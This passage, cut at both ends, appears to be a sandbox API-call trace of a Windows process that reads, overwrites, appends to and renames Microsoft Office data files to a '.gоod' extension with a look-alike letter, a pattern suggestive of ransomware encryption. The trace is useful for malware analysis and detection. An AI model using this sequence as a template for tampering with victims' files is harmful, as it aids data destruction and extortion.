Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.gоod")) returned 1 [0173.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0173.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0173.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3692cf8 | out: lpFileInformation=0x3692cf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f96)) returned 1 [0173.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0173.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0173.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.221] GetFileType (hFile=0x7f8) returned 0x1 [0173.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.221] GetFileType (hFile=0x7f8) returned 0x1 [0173.221] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0173.221] ReadFile (in: hFile=0x7f8, lpBuffer=0x36931a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36931a0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0173.656] CloseHandle (hObject=0x7f8) returned 1 [0173.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0173.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.656] GetFileType (hFile=0x7f8) returned 0x1 [0173.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.656] GetFileType (hFile=0x7f8) returned 0x1 [0173.656] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4f96 [0173.657] WriteFile (in: hFile=0x7f8, lpBuffer=0x35b89a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35b89a8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0174.443] CloseHandle (hObject=0x7f8) returned 1 [0174.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0174.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0174.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0174.443] GetFileType (hFile=0x7f8) returned 0x1 [0174.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0174.444] GetFileType (hFile=0x7f8) returned 0x1 [0174.444] ReadFile (in: hFile=0x7f8, lpBuffer=0x357f330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x357f330*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0175.005] CloseHandle (hObject=0x7f8) returned 1 [0175.005] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0175.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0175.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.006] GetFileType (hFile=0x7f8) returned 0x1 [0175.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0175.006] GetFileType (hFile=0x7f8) returned 0x1 [0175.006] WriteFile (in: hFile=0x7f8, lpBuffer=0x33d4e88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33d4e88*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0175.006] CloseHandle (hObject=0x7f8) returned 1 [0175.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0175.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0175.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0175.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x648581ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4fa6)) returned 1 [0175.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0175.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.gоod")) returned 1 [0175.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0175.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35bd3d8 | out: lpFileInformation=0x35bd3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09ea90c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e25)) returned 1 [0175.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0175.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0175.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.008] GetFileType (hFile=0x7f8) returned 0x1 [0175.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0175.008] GetFileType (hFile=0x7f8) returned 0x1 [0175.008] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0175.008] ReadFile (in: hFile=0x7f8, lpBuffer=0x35bd860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35bd860*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] CloseHandle (hObject=0x7f8) returned 1 [0175.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0175.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.010] GetFileType (hFile=0x7f8) returned 0x1 [0175.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0175.010] GetFileType (hFile=0x7f8) returned 0x1 [0175.010] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x5e25 [0175.010] WriteFile (in: hFile=0x7f8, lpBuffer=0x35bec08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35bec08*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0175.011] CloseHandle (hObject=0x7f8) returned 1 [0175.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0175.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.012] GetFileType (hFile=0x7f8) returned 0x1 [0175.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0175.012] GetFileType (hFile=0x7f8) returned 0x1 [0175.012] ReadFile (in: hFile=0x7f8, lpBuffer=0x35c10a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x35c10a8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0175.305] CloseHandle (hObject=0x7f8) returned 1 [0175.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0175.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.318] GetFileType (hFile=0x7f8) returned 0x1 [0175.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0175.318] GetFileType (hFile=0x7f8) returned 0x1 [0175.318] WriteFile (in: hFile=0x7f8, lpBuffer=0x3416198*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3416198*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0175.319] CloseHandle (hObject=0x7f8) returned 1 [0175.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", lpFilePart=0x0) returned 0x4d [0175.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0175.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0175.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64b6efa6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e35)) returned 1 [0175.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0175.319] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.gоod")) returned 1 [0175.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0175.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0175.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x34f8c68 | out: lpFileInformation=0x34f8c68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcee)) returned 1 [0175.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0175.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0175.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0175.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0175.322] GetFileType (hFile=0x7f8) returned 0x1 [0175.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0175.322] GetFileType (hFile=0x7f8) returned 0x1 [0175.322] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xcee [0175.322] ReadFile (in: hFile=0x7f8, lpBuffer=0x34f9c70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34f9c70*, lpNumberOfBytesRead=0x1fcee238*=0xcee, lpOverlapped=0x0) returned 1 [0175.648] CloseHandle (hObject=0x7f8) returned 1 [0176.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0176.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0176.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0176.564] GetFileType (hFile=0x808) returned 0x1 [0176.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0176.564] GetFileType (hFile=0x808) returned 0x1 [0176.564] WriteFile (in: hFile=0x808, lpBuffer=0x358da00*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x358da00*, lpNumberOfBytesWritten=0x1fcee148*=0xcf0, lpOverlapped=0x0) returned 1 [0176.565] CloseHandle (hObject=0x808) returned 1 [0176.565] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0176.565] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0176.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0176.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6573ece0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcf0)) returned 1 [0176.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0176.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0176.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0176.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0176.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x358ecd0 | out: lpFileInformation=0x358ecd0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0af5a16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x117c)) returned 1 [0176.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0176.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0176.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0176.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0176.567] GetFileType (hFile=0x808) returned 0x1 [0176.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0176.567] GetFileType (hFile=0x808) returned 0x1 [0176.567] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 